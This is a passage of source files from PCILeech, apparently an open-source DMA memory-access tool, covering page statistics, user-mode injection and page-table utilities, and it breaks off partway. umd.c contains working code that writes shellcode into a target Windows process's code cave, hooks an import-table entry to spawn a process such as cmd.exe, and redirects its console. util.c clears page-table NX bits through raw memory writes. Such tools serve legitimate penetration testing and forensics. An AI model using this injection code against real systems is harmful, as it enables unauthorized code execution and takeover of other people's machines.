    "content": "// statistics.h : definitions of statistics related functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __STATISTICS_H__\n#define __STATISTICS_H__\n#include \"pcileech.h\"\n#include <vmmdll.h>\n\n#define PAGE_STATISTICS_MEM_MAP_MAX_ENTRY    2048\n\ntypedef struct tdSTATISTICS_INTERNAL {\n    BOOL fUpdate;\n    BOOL fThreadExit;\n    BOOL fMemMap;\n    BOOL fIsFirstPrintCompleted;\n    HANDLE hThread;\n    WORD wConsoleCursorPosition;\n    QWORD qwTickCountStart;\n    QWORD MemMapIdx;\n    QWORD MemMapPrintIdx;\n    struct {\n        QWORD qwAddrBase;\n        DWORD cPages;\n    } MemMap[PAGE_STATISTICS_MEM_MAP_MAX_ENTRY];\n} STATISTICS_INTERNAL, *PSTATISTICS_INTERNAL;\n\ntypedef struct tdPAGE_STATISTICS {\n    QWORD qwAddr;\n    QWORD cPageTotal;\n    QWORD cPageSuccess;\n    QWORD cPageFail;\n    BOOL fKMD;\n    struct {\n        BOOL fFileRead;\n        QWORD qwBaseOffset;\n        QWORD qwCurrentOffset;\n    } File;\n    LPSTR szAction;\n    STATISTICS_INTERNAL i;\n} PAGE_STATISTICS, *PPAGE_STATISTICS;\n\ntypedef struct tdSTATISTICS_SEARCH {\n    LPSTR szAction;\n    PVMMDLL_MEM_SEARCH_CONTEXT ctxs;\n    STATISTICS_INTERNAL i;\n} STATISTICS_SEARCH, *PSTATISTICS_SEARCH;\n\n/*\n* Initialize the page statistics. This will also start displaying the page statistics\n* on the screen asynchronously. PageStatClose must be called to stop this.\n* -- ps = ptr to NULL pPageStat PageStatInitialize will initialize. Must be free'd with PageStatClose.\n* -- qwAddrBase = the base address that the statistics will be based upon.\n* -- qwAddrMax = the maximum address.\n* -- szAction = the text shown as action.\n* -- fKMD = is KMD mode.\n* -- fPageMap = display read memory map when PageStatClose is called.\n* -- return\n*/\n_Success_(return)\nBOOL PageStatInitialize(_Out_ PPAGE_STATISTICS *ppPageStat, _In_ QWORD qwAddrBase, _In_ QWORD qwAddrMax, _In_ LPSTR szAction, _In_ BOOL fKMD, _In_ BOOL fMemMap);\n\n/*\n* Do one last update of the on-screen page statistics, display the read memory map if\n* previously set in PageStatInitialize and stop the on-screen updates.\n* -- pPageStat = ptr to the PPAGE_STATISTICS struct to close and free.\n*/\nVOID PageStatClose(_In_opt_ PPAGE_STATISTICS *ppPageStat);\n\n/*\n* Update the page statistics with the current address and with successfully and failed\n* pages. Should not be called before PageStatInitialize and not after PageStatClose.\n* This function must be used if the memory map should be shown; otherwise it's possible\n* to alter the PPAGE_STATISTICS struct members directly.\n* -- pPageStat = pointer to page statistics struct.\n* -- qwAddr = new address (after completed operation).\n* -- cPageSuccessAdd = number of successfully read pages.\n* -- cPageFailAdd = number of pages that failed.\n*/\nVOID PageStatUpdate(_In_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD qwAddr, _In_ QWORD cPageSuccessAdd, _In_ QWORD cPageFailAdd);\n\n/*\n* Initialize the search statistics. This will also start displaying the search\n* statistics on the screen asynchronously. Call StatSearchClose() to stop.\n* -- ppStatSearch\n* -- ctxs\n* -- dwPID\n* -- szAction\n* -- return\n*/\n_Success_(return)\nBOOL StatSearchInitialize(_Inout_ PSTATISTICS_SEARCH *ppStatSearch, _In_ PVMMDLL_MEM_SEARCH_CONTEXT ctxs, _In_ LPSTR szAction);\n\n/*\n* Do one last update of the on-screen page statistics.\n* -- ppStatSearch = ptr to the PSTATISTICS_SEARCH struct to close and free.\n*/\nVOID StatSearchClose(_In_opt_ PSTATISTICS_SEARCH *ppStatSearch);\n\n#endif /* __STATISTICS_H__ */\n"
  },
  {
    "path": "pcileech/umd.c",
    "content": "// umd.c : implementation related to various user-mode functionality supported\n//         by MemProcFS / vmm.dll integration.\n//\n// (c) Ulf Frisk, 2019-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"umd.h\"\n#include <stdio.h>\n#include \"executor.h\"\n#include \"util.h\"\n#include <vmmdll.h>\n#include \"vmmx.h\"\n\nint UmdCompare32(const void* a, const void* b)\n{\n    return *(int*)a - *(int*)b;\n}\n\n/*\n* List all processes in the target system memory by using the MemProcFS integration.\n*/\nVOID Action_UmdPsList()\n{\n    SIZE_T cPIDs = 0x1000;\n    QWORD i, cbProcInfo;\n    PDWORD pdwPIDs = NULL;\n    PVMMDLL_PROCESS_INFORMATION pProcInfo = NULL;\n    // 1: Initialize MemProcFS/vmm.dll\n    if(!(pdwPIDs = LocalAlloc(LMEM_ZEROINIT, cPIDs * sizeof(DWORD)))) { goto fail; }\n    if(!(pProcInfo = LocalAlloc(0, sizeof(VMMDLL_PROCESS_INFORMATION)))) { goto fail; }\n    if(!Vmmx_Initialize(FALSE, FALSE)) {\n        printf(\"UMD: Failed initializing required MemProcFS/vmm.dll\\n\");\n        goto fail;\n    }\n    // 2: List processes and iterate over result\n    if(!VMMDLL_PidList(ctxMain->hVMM, pdwPIDs, &cPIDs)) {\n        printf(\"UMD: Failed list PIDs.\\n\");\n    } else {\n        qsort(pdwPIDs, cPIDs, sizeof(DWORD), UmdCompare32);\n        for(i = 0; i < cPIDs; i++) {\n            ZeroMemory(pProcInfo, sizeof(VMMDLL_PROCESS_INFORMATION));\n            pProcInfo->magic = VMMDLL_PROCESS_INFORMATION_MAGIC;\n            pProcInfo->wVersion = VMMDLL_PROCESS_INFORMATION_VERSION;\n            cbProcInfo = sizeof(VMMDLL_PROCESS_INFORMATION);\n            if(VMMDLL_ProcessGetInformation(ctxMain->hVMM, pdwPIDs[i], pProcInfo, (PSIZE_T)&cbProcInfo)) {\n                printf(\"  %6i %s %s\\n\", pProcInfo->dwPID, pProcInfo->win.fWow64 ? \"32\" : \"  \", pProcInfo->szName);\n            }\n        }\n    }\n    Vmmx_Close();\nfail:\n    LocalFree(pdwPIDs);\n    LocalFree(pProcInfo);\n}\n\n/*\n* Translate a virtual address into a physical address for a given process id (pid).\n*/\nVOID Action_UmdPsVirt2Phys()\n{\n    QWORD pa, cbProcInfo;\n    VMMDLL_PROCESS_INFORMATION oProcInfo;\n    // 1: Initialize MemProcFS/vmm.dll\n    if(!Vmmx_Initialize(FALSE, FALSE)) {\n        printf(\"UMD: Failed initializing required MemProcFS/vmm.dll\\n\");\n        return;\n    }\n    // 2: Retrieve process name and translate virtual to physical address\n    ZeroMemory(&oProcInfo, sizeof(VMMDLL_PROCESS_INFORMATION));\n    oProcInfo.magic = VMMDLL_PROCESS_INFORMATION_MAGIC;\n    oProcInfo.wVersion = VMMDLL_PROCESS_INFORMATION_VERSION;\n    cbProcInfo = sizeof(VMMDLL_PROCESS_INFORMATION);\n    if(!VMMDLL_ProcessGetInformation(ctxMain->hVMM, (DWORD)ctxMain->cfg.qwDataIn[0], &oProcInfo, (PSIZE_T)&cbProcInfo)) {\n        printf(\"UMD: Failed retrieving information for PID: %lli\\n\", ctxMain->cfg.qwDataIn[0]);\n        printf(\"     SYNTAX: pcileech psvirt2phys -0 <pid> -1 <virtual_address>\\n\");\n        goto fail;\n    }\n    if(!VMMDLL_MemVirt2Phys(ctxMain->hVMM, (DWORD)ctxMain->cfg.qwDataIn[0], ctxMain->cfg.qwDataIn[1], &pa)) {\n        printf(\"UMD: Failed translating address 0x%016llx for process %s (%lli)\\n\", ctxMain->cfg.qwDataIn[1], oProcInfo.szName, ctxMain->cfg.qwDataIn[0]);\n        printf(\"     SYNTAX: pcileech psvirt2phys -0 <pid> -1 <virtual_address>\\n\");\n        goto fail;\n    }\n    printf(\"%s (%lli) 0x%016llX (virtual) -> 0x%016llX (physical)\\n\", oProcInfo.szName, ctxMain->cfg.qwDataIn[0], ctxMain->cfg.qwDataIn[1], pa);\nfail:\n    Vmmx_Close();\n}\n\n// struct shared with wx64_umd_exec_c.c\ntypedef struct tdUMD_EXEC_CONTEXT_LIMITED {\n    CHAR fCMPXCHG;\n    CHAR fEnableConsoleRedirect;            // config value set by pcileech\n    CHAR fThreadIsActive;\n    CHAR fStatus;\n    DWORD dwFlagsCreateProcessA;            // config value set by pcileech\n    QWORD qwDEBUG;\n    QWORD pInfoIn;\n    QWORD pInfoOut;\n    HANDLE hInWrite;\n    HANDLE hOutRead;\n    HANDLE hOutWriteCP;\n    HANDLE hInReadCP;\n    HANDLE hProcessHandle;\n    struct {                                // config value set by pcileech\n        QWORD CloseHandle;\n        QWORD CreatePipe;\n        QWORD CreateProcessA;\n        QWORD CreateThread;\n        QWORD GetExitCodeProcess;\n        QWORD ReadFile;\n        QWORD Sleep;\n        QWORD WriteFile;\n        QWORD LocalAlloc;\n    } fn;\n    CHAR szProcToStart[MAX_PATH];           // config value set by pcileech\n} UMD_EXEC_CONTEXT_LIMITED, *PUMD_EXEC_CONTEXT_LIMITED;\n\n/*\n* A Basic Usermode shellcode injection technique leveraging read-only analysis\n* functionality using the MemProcFS API to identify injection points and also\n* functions that the injected shellcode uses.\n* If all prerequisites are met then the MemProcFS API is used to write the\n* shellcode into the virtual memory of a specific process (technically into\n* the backing physical page if it's shared - so be careful!).\n* Future plan is to expand in this injection functionality to make it easier\n* to use and more like the more versatile KMD functionality...\n*/\nVOID UmdWinExec()\n{\n    BOOL result;\n    LPSTR szModuleName;\n    DWORD cbExec = 0;\n    BYTE pbExec[0x500], pbPage[0x1000] = { 0 };\n    DWORD i, dwPID, cSections;\n    QWORD vaCodeCave = 0, vaWriteCave = 0;\n    PIMAGE_SECTION_HEADER pSections;\n    SIZE_T cbProcessInformation;\n    VMMDLL_PROCESS_INFORMATION oProcessInformation = { 0 };\n    VMMDLL_WIN_THUNKINFO_IAT oThunkInfoIAT = { 0 };\n    UMD_EXEC_CONTEXT_LIMITED ctx = { 0 };\n    QWORD qwTickCountLimit;\n    CHAR szHookBuffer[MAX_PATH] = { 0 };\n    LPSTR szHookModule, szHookFunction = NULL;\n    //--------------------------------------------------------------------------\n    // 1: Retrieve process PID and module/function to hook in the main executable IAT.\n    //--------------------------------------------------------------------------\n    dwPID = (DWORD)ctxMain->cfg.qwDataIn[0];\n    Util_SplitString2(ctxMain->cfg.szHook, '!', szHookBuffer, &szHookModule, &szHookFunction);\n    if(!dwPID || !szHookModule[0] || !szHookFunction[0]) {\n        printf(\n            \"UMD: Required aguments are missing - Syntax is:                                \\n\" \\\n            \"  -0 <pid> -1 <CreateFlags> -2 <ConRedir> -s <ProcessToSpawn> -hook <Module!Fn>\\n\" \\\n            \"  Example:                                                                     \\n\" \\\n            \"    pcileech UMD_WINX64_IAT_PSCREATE -0 654 -hook ADVAPI32.dll!RegCloseKey     \\n\" \\\n            \"    -1 0x08000000 -2 1 -s c : \\\\windows\\\\system32\\\\cmd.exe                     \\n\");\n        return;\n    }\n    //--------------------------------------------------------------------------\n    // 2: Verify process and locate 'IAT inject', r-x 'code cave' and rw- 'config cave'.\n    //--------------------------------------------------------------------------\n    oProcessInformation.magic = VMMDLL_PROCESS_INFORMATION_MAGIC;\n    oProcessInformation.wVersion = VMMDLL_PROCESS_INFORMATION_VERSION;\n    cbProcessInformation = sizeof(VMMDLL_PROCESS_INFORMATION);\n    if(!VMMDLL_ProcessGetInformation(ctxMain->hVMM, dwPID, &oProcessInformation, &cbProcessInformation)) {\n        printf(\"UMD: EXEC: Could not retrieve process for PID: %i\\n\", dwPID);\n        return;\n    }\n    szModuleName = oProcessInformation.szName;\n    result = VMMDLL_WinGetThunkInfoIATU(ctxMain->hVMM, dwPID, szModuleName, szHookModule, szHookFunction, &oThunkInfoIAT);\n    if(!result) {\n        printf(\"UMD: EXEC: Could not retrieve hook for %s!%s in '%s'\\n\", szHookModule, szHookFunction, oProcessInformation.szName);\n        return;\n    }\n    if(!oThunkInfoIAT.fValid || oThunkInfoIAT.f32) {\n        printf(\"UMD: EXEC: Could not retrieve valid hook in 64-bit process.\\n\");\n        return;\n    }\n    if(!VMMDLL_ProcessGetSectionsU(ctxMain->hVMM, dwPID, szModuleName, NULL, 0, &cSections) || !cSections) {\n        printf(\"UMD: EXEC: Could not retrieve sections #1 for '%s'\\n\", szModuleName);\n        return;\n    }\n    pSections = (PIMAGE_SECTION_HEADER)LocalAlloc(LMEM_ZEROINIT, cSections * sizeof(IMAGE_SECTION_HEADER));\n    if(!pSections || !VMMDLL_ProcessGetSectionsU(ctxMain->hVMM, dwPID, szModuleName, pSections, cSections, &cSections) || !cSections) {\n        printf(\"UMD: EXEC: Could not retrieve sections #2 for '%s'\\n\", szModuleName);\n        return;\n    }\n    for(i = 0; i < cSections; i++) {\n        if(!vaCodeCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - sizeof(pbExec)))) {\n            vaCodeCave = VMMDLL_ProcessGetModuleBaseU(ctxMain->hVMM, dwPID, szModuleName) + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - sizeof(pbExec);\n            if(!VMMDLL_MemReadPage(ctxMain->hVMM, dwPID, vaCodeCave & ~0xfff, pbPage)) {\n                vaCodeCave = 0;     // read test failed!\n            }\n        }\n        if(!vaWriteCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_WRITE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - sizeof(ctx)))) {\n            vaWriteCave += VMMDLL_ProcessGetModuleBaseU(ctxMain->hVMM, dwPID, szModuleName) + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - sizeof(ctx);\n            if(!VMMDLL_MemReadPage(ctxMain->hVMM, dwPID, vaWriteCave & ~0xfff, pbPage)) {\n                vaWriteCave = 0;     // read test failed!\n            }\n        }\n    }\n    if(!vaCodeCave || !vaWriteCave) {\n        if(!vaCodeCave) {\n            printf(\"UMD: EXEC: Could not locate suitable code cave in '%s'\\n\", szModuleName);\n        }\n        if(!vaWriteCave) {\n            printf(\"UMD: EXEC: Could not locate suitable write cave in '%s'\\n\", szModuleName);\n        }\n        return;\n    }\n    //------------------------------------------------\n    // 3: Prepare Inject\n    //------------------------------------------------\n    // prepare shellcode (goes into r-x section)\n    Util_ParseHexFileBuiltin(\"DEFAULT_WINX64_UMD_EXEC\", pbExec, sizeof(pbExec), &cbExec);\n    *(PQWORD)(pbExec + 0x08) = vaWriteCave;\n    *(PQWORD)(pbExec + 0x10) = oThunkInfoIAT.vaFunction;\n    // prepare configuration data (goes into rw- section)\n    ctx.qwDEBUG = 0;\n    ctx.fn.CloseHandle = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"CloseHandle\");\n    ctx.fn.CreatePipe = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"CreatePipe\");\n    ctx.fn.CreateProcessA = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"CreateProcessA\");\n    ctx.fn.CreateThread = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"CreateThread\");\n    ctx.fn.GetExitCodeProcess = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"GetExitCodeProcess\");\n    ctx.fn.LocalAlloc = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"LocalAlloc\");\n    ctx.fn.ReadFile = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"ReadFile\");\n    ctx.fn.Sleep = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"Sleep\");\n    ctx.fn.WriteFile = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, dwPID, \"kernel32.dll\", \"WriteFile\");\n    strcpy_s(ctx.szProcToStart, MAX_PATH - 1, ctxMain->cfg.szInS);\n    ctx.dwFlagsCreateProcessA = (DWORD)ctxMain->cfg.qwDataIn[1];\n    ctx.fEnableConsoleRedirect = ctxMain->cfg.qwDataIn[2] ? 1 : 0;\n    //------------------------------------------------\n    // 4: Inject & Hook\n    //------------------------------------------------\n    printf(\"UMD: EXEC: Injecting code and configuration data into process %s\\n\", szModuleName);\n    printf(\"           IAT Hook : %s!%s at 0x%llx [0x%llx]\\n\", szHookModule, szHookFunction, oThunkInfoIAT.vaThunk, oThunkInfoIAT.vaFunction);\n    VMMDLL_MemWrite(ctxMain->hVMM, dwPID, vaWriteCave, (PBYTE)&ctx, sizeof(UMD_EXEC_CONTEXT_LIMITED));\n    VMMDLL_MemWrite(ctxMain->hVMM, dwPID, vaCodeCave, pbExec, sizeof(pbExec));\n    VMMDLL_MemWrite(ctxMain->hVMM, dwPID, oThunkInfoIAT.vaThunk, (PBYTE)&vaCodeCave, 8);\n    //------------------------------------------------\n    // 5: Wait for execution\n    //------------------------------------------------\n    printf(\"           Waiting for execution ...\\n\");\n    qwTickCountLimit = GetTickCount64() + 15 * 1000;    // wait for 15s max\n    while(TRUE) {\n        if(qwTickCountLimit < GetTickCount64()) { break; }\n        if(!VMMDLL_MemReadEx(ctxMain->hVMM, dwPID, vaWriteCave, (PBYTE)&ctx, sizeof(UMD_EXEC_CONTEXT_LIMITED), NULL, VMMDLL_FLAG_NOCACHE)) { break; }\n        if(ctx.fStatus) { break; }\n        Sleep(10);\n    }\n    if(!ctx.fStatus) {\n        printf(\"           FAILED! Error or Timeout after 15s.\\n\");\n    } else {\n        Sleep(10);\n        if(ctx.pInfoIn && ctx.pInfoOut) {\n            VMMDLL_ConfigSet(ctxMain->hVMM, VMMDLL_OPT_REFRESH_ALL, 0);     // force refresh - shellcode allocations may have updated virtual memory map (page tables).\n            printf(\"           Succeeded - Connecting to console ...\\n\");\n            Exec_ConsoleRedirect(ctx.pInfoIn, ctx.pInfoOut, dwPID);\n        } else {\n            printf(\"           Succeeded.\\n\");\n        }\n    }\n    //------------------------------------------------\n    // 6: Restore\n    //------------------------------------------------\n    printf(\"           Restoring...\\n\");\n    ZeroMemory(pbExec, sizeof(pbExec));\n    ZeroMemory(&ctx, sizeof(UMD_EXEC_CONTEXT_LIMITED));\n    VMMDLL_MemWrite(ctxMain->hVMM, dwPID, oThunkInfoIAT.vaThunk, (PBYTE)&oThunkInfoIAT.vaFunction, 8);\n    Sleep(10);\n    VMMDLL_MemWrite(ctxMain->hVMM, dwPID, vaCodeCave, pbExec, sizeof(pbExec));\n    VMMDLL_MemWrite(ctxMain->hVMM, dwPID, vaWriteCave, (PBYTE)&ctx, sizeof(UMD_EXEC_CONTEXT_LIMITED));\n}\n\nVOID ActionExecUserMode()\n{\n    if(!Vmmx_Initialize(FALSE, FALSE)) {\n        printf(\"UMD: Failed initializing required MemProcFS/vmm.dll\\n\");\n        return;\n    }\n    if(0 == _stricmp(ctxMain->cfg.szShellcodeName, \"UMD_WINX64_IAT_PSEXEC\")) {\n        UmdWinExec();\n    } else {\n        printf(\"UMD: Not found.\\n\");\n    }\n    Vmmx_Close();\n}\n"
  },
  {
    "path": "pcileech/umd.h",
    "content": "// umd.c : implementation related to various user-mode functionality supported\n//         by the Memory Process File System / MemProcFS / vmm.dll integration.\n//\n// (c) Ulf Frisk, 2020-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __UMD_H__\n#define __UMD_H__\n#include \"pcileech.h\"\n\n/*\n* List all processes in the target system memory by using the MemProcFS integration.\n*/\nVOID Action_UmdPsList();\n\n/*\n* Translate a virtual address into a physical address for a given process id (pid).\n*/\nVOID Action_UmdPsVirt2Phys();\n\n/*\n* Execute user-mode code by injecting code into a user-mode process. This\n* requires integration with the Windows-only MemProcFS/'vmm.dll'.\n*/\nVOID ActionExecUserMode();\n\n#endif /* __UMD_H__ */\n"
  },
  {
    "path": "pcileech/util.c",
    "content": "// util.c : implementation of various utility functions.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"pcileech.h\"\n#include \"util.h\"\n#include \"device.h\"\n#include \"shellcode.h\"\n\n#define PT_VALID_MASK       0x00000000000000BD    // valid, active, supervior paging structure\n#define PT_VALID_VALUE      0x0000000000000021    //\n#define PT_MASK_ENABLE      0x0000000000000001\n#define PT_MASK_PS          0x0000000000000080\n#define PT_MASK_NX          0x8000000000000000\n#define PT_FLAG_HELPER_X    0x0000000000000001\n\n_Success_(return)\nBOOL Util_PageTable_Helper(_In_ QWORD qwVA, _In_ QWORD qwPgLvl, _In_ QWORD qwPgTblPA, _In_ QWORD qwTestMask, _In_ QWORD qwTestValue, _In_ QWORD fMode, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqwPTEPA, _Out_ PQWORD pqwPgLvl)\n{\n    BOOL result;\n    BYTE pb[4096];\n    QWORD idx, pte;\n    result = DeviceReadMEM(qwPgTblPA, 4096, pb, TRUE);\n    if(!result) { return FALSE; }\n    idx = 0xff8 & ((qwVA >> (qwPgLvl * 9 + 3)) << 3);\n    pte = *(PQWORD)(pb + idx);\n    if(!(pte & PT_MASK_ENABLE)) { return FALSE; }\n    if((pte & qwTestMask) != qwTestValue) { return FALSE; }\n    if((fMode & PT_FLAG_HELPER_X) && (pte & PT_MASK_NX)) {\n        *(PQWORD)(pb + idx) &= 0x7fffffffffffffff;\n        DeviceWriteMEM(qwPgTblPA + idx, 8, pb + idx, FALSE);\n    }\n    if((qwPgLvl == 1) || (pte & PT_MASK_PS)) {\n        *pqwPgLvl = qwPgLvl;\n        *pqwPTE = pte;\n        *pqwPTEPA = qwPgTblPA + idx;\n        return TRUE;\n    }\n    qwPgTblPA = pte & 0x0000fffffffff000;\n    if(!qwPgTblPA) { return FALSE; }\n    return Util_PageTable_Helper(qwVA, qwPgLvl - 1, qwPgTblPA, qwTestMask, qwTestValue, fMode, pqwPTE, pqwPTEPA, pqwPgLvl);\n}\n\nBOOL Util_PageTable_ReadPTE(_In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqPTEAddrPhys)\n{\n    QWORD ptePgLvl;\n    return Util_PageTable_Helper(qwAddressLinear, 4, qwCR3, PT_VALID_MASK, PT_VALID_VALUE, 0, pqwPTE, pqPTEAddrPhys, &ptePgLvl);\n}\n\nBOOL Util_PageTable_SetModeX(_In_ QWORD qwCR3, _In_ QWORD qwAddressLinear)\n{\n    QWORD pte, pteVA, ptePgLvl;\n    return Util_PageTable_Helper(qwAddressLinear, 4, qwCR3, 0, 0, PT_FLAG_HELPER_X, &pte, &pteVA, &ptePgLvl);\n}\n\nBOOL Util_PageTable_FindSignatureBase_IsPageTableDataValid(_In_ QWORD qwPageTableData)\n{\n    if((qwPageTableData & PT_VALID_MASK) != PT_VALID_VALUE) {\n        return FALSE; // Not valid supervisor page entry\n    }\n    qwPageTableData &= 0x0000fffffffff000;\n    if(qwPageTableData == 0) {\n        return FALSE; // Not found\n    }\n    if(qwPageTableData > 0xffffffff) {\n        return FALSE; // Outside 32-bit scope\n    }\n    if(qwPageTableData > 0xc0000000) {\n        return FALSE; // Possibly in PCIE space\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL Util_PageTable_FindSignatureBase_CachedReadMEM(_In_ QWORD qwAddr, _Out_writes_(0x1000) PBYTE pbPage, _Inout_updates_bytes_opt_(0x01000000) PBYTE pbCache)\n{\n    BOOL result;\n    if(pbCache) {\n        if(*(PQWORD)pbCache == 0) {\n            *(PQWORD)pbCache = 2;\n            result = DeviceReadMEM(0x00100000, 0x00F00000, pbCache + 0x00100000, TRUE);\n            if(!result) { return FALSE; }\n            *(PQWORD)pbCache = 1;\n        }\n        if(*(PQWORD)pbCache == 1 && qwAddr >= 0x00100000 && qwAddr < 0x01000000) {\n            memcpy(pbPage, pbCache + qwAddr, 4096);\n            return TRUE;\n        }\n    }\n    return DeviceReadMEM(qwAddr, 4096, pbPage, TRUE);\n}\n\n_Success_(return)\nBOOL Util_PageTable_FindSignatureBase_Search(_Inout_opt_ PBYTE pbCache, _In_ QWORD qwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase)\n{\n    // win8  kernel modules start at even  1-page boundaries (0x1000)\n    // win10 kernel modules start at even 16-page boundaries (0x10000)\n    // winx64 kernel memory is located above 0xfffff80000000000\n    BOOL result;\n    QWORD PML4[512], PDPT[512], PD[512], PT[512];\n    QWORD PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff;\n    PSIGNATUREPTE pPTE = pPTEs;\n    QWORD cPTE = 0, cPTEPages = 0, PTE, qwA;\n    QWORD qwPageTableData;\n    WORD wSignature;\n    result = Util_PageTable_FindSignatureBase_CachedReadMEM(qwCR3 & 0x0000fffffffff000, (PBYTE)PML4, pbCache);\n    if(!result) { return FALSE; }\n    qwA = 0x0fffff80000000000;\n    while(qwA > 0x07fffffffffffffff) {\n        if(PML4_idx != (0x1ff & (qwA >> 39))) { // PML4\n            PML4_idx = 0x1ff & (qwA >> 39);\n            qwPageTableData = PML4[PML4_idx];\n            if(!Util_PageTable_FindSignatureBase_IsPageTableDataValid(qwPageTableData)) {\n                qwA += 0x0000008000000000;\n                qwA &= 0xffffff8000000000;\n                continue;\n            }\n            result = Util_PageTable_FindSignatureBase_CachedReadMEM(qwPageTableData & 0x0000fffffffff000, (PBYTE)PDPT, pbCache);\n            if(!result) {\n                qwA += 0x0000008000000000;\n                qwA &= 0xffffff8000000000;\n                continue;\n            }\n            PDPT_idx = 0xfff;\n            PD_idx = 0xfff;\n        }\n        if(PDPT_idx != (0x1ff & (qwA >> 30))) { // PDPT(Page-Directory Pointer Table)\n            PDPT_idx = 0x1ff & (qwA >> 30);\n            qwPageTableData = PDPT[PDPT_idx];\n            if(!Util_PageTable_FindSignatureBase_IsPageTableDataValid(qwPageTableData)) {\n                qwA += 0x0000000040000000;\n                qwA &= 0xffffffffC0000000;\n                continue;\n            }\n            result = Util_PageTable_FindSignatureBase_CachedReadMEM(qwPageTableData & 0x0000fffffffff000, (PBYTE)PD, pbCache);\n            if(!result) {\n                qwA += 0x0000000040000000;\n                qwA &= 0xffffffffC0000000;\n                continue;\n            }\n            PD_idx = 0xfff;\n        }\n        if(PD_idx != (0x1ff & (qwA >> 21))) { // PD (Page Directory)\n            PD_idx = 0x1ff & (qwA >> 21);\n            qwPageTableData = PD[PD_idx];\n            if(!Util_PageTable_FindSignatureBase_IsPageTableDataValid(qwPageTableData)) {\n                qwA += 0x0000000000200000;\n                qwA &= 0xffffffffffE00000;\n                continue;\n            }\n            result = Util_PageTable_FindSignatureBase_CachedReadMEM(qwPageTableData & 0x0000fffffffff000, (PBYTE)PT, pbCache);\n            if(!result) {\n                qwA += 0x0000000000200000;\n                qwA &= 0xffffffffffE00000;\n                continue;\n            }\n        }\n        PTE = PT[0x1ff & (qwA >> 12)];\n        wSignature = (PTE & 0x07) | ((PTE >> 48) & 0x8000);\n        if(wSignature != pPTE->wSignature) { // signature do not match\n            qwA += 0x0000000000001000;\n            qwA &= 0xfffffffffffff000;\n            pPTE = pPTEs;\n            cPTE = 0;\n            cPTEPages = 0;\n            continue;\n        }\n        if(cPTE == 0 && cPTEPages == 0) {\n            *pqwSignatureBase = qwA;\n        }\n        cPTEPages++;\n        if(cPTEPages == pPTE->cPages) { // next page section\n            cPTE++;\n            pPTE = pPTEs + cPTE;\n            cPTEPages = 0;\n            if(pPTE->cPages == 0 || cPTE == cPTEs) { // found\n                return TRUE;\n            }\n        }\n        qwA += 0x1000;\n    }\n    *pqwSignatureBase = 0;\n    return FALSE;\n}\n\n_Success_(return)\nBOOL Util_PageTable_Virtual2Physical(_In_ QWORD qwCR3, _In_ QWORD qwVA, _Out_ PQWORD pqwPA, _Out_ PQWORD pqwPageBase, _Out_ PQWORD pqwPageSize)\n{\n    BOOL result;\n    QWORD pqwPTE, qwPTEPA, qwPgLvl;\n    result = Util_PageTable_Helper(qwVA, 4, qwCR3, 0, 0, 0, &pqwPTE, &qwPTEPA, &qwPgLvl);\n    if(result && (qwPgLvl == 1)) {\n        *pqwPageSize = 0x1000;\n        *pqwPageBase = pqwPTE & 0x0000fffffffff000;\n        *pqwPA = *pqwPageBase + (qwVA % *pqwPageSize);\n        return TRUE;\n    }\n    if(result && (qwPgLvl == 2)) {\n        *pqwPageSize = 0x200000;\n        *pqwPageBase = pqwPTE & 0x0000ffffffe00000;\n        *pqwPA = *pqwPageBase + (qwVA % *pqwPageSize);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL Util_PageTable_WindowsHintPML4(_Out_ PQWORD pqwCR3)\n{\n    BYTE pb[0x1000];\n    return\n        DeviceReadMEM(0x1000, 0x1000, pb, FALSE) &&\n        ((*(PQWORD)(pb + 0x78) & 0xfffffffffff00fff) == 0xffffffffffd00000) &&\n        ((*(PQWORD)(pb + 0xa0) & 0xffffffff00000fff) == 0) &&\n        (*pqwCR3 = *(PQWORD)(pb + 0xa0));\n    return FALSE;\n}\n\n_Success_(return)\nBOOL Util_PageTable_FindSignatureBase(_Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase)\n{\n    BOOL result;\n    QWORD qwRegCR3;\n    PBYTE pbCache;\n    // if page base (CR3) is specified -> use it.\n    if(!ctxMain->cfg.fPageTableScan) {\n        return Util_PageTable_FindSignatureBase_Search(NULL, *pqwCR3, pPTEs, cPTEs, pqwSignatureBase);\n    }\n    // try CR3/PML4 hint at PA 0x1000 on windows 8.1/10.\n    result =\n        Util_PageTable_WindowsHintPML4(pqwCR3) &&\n        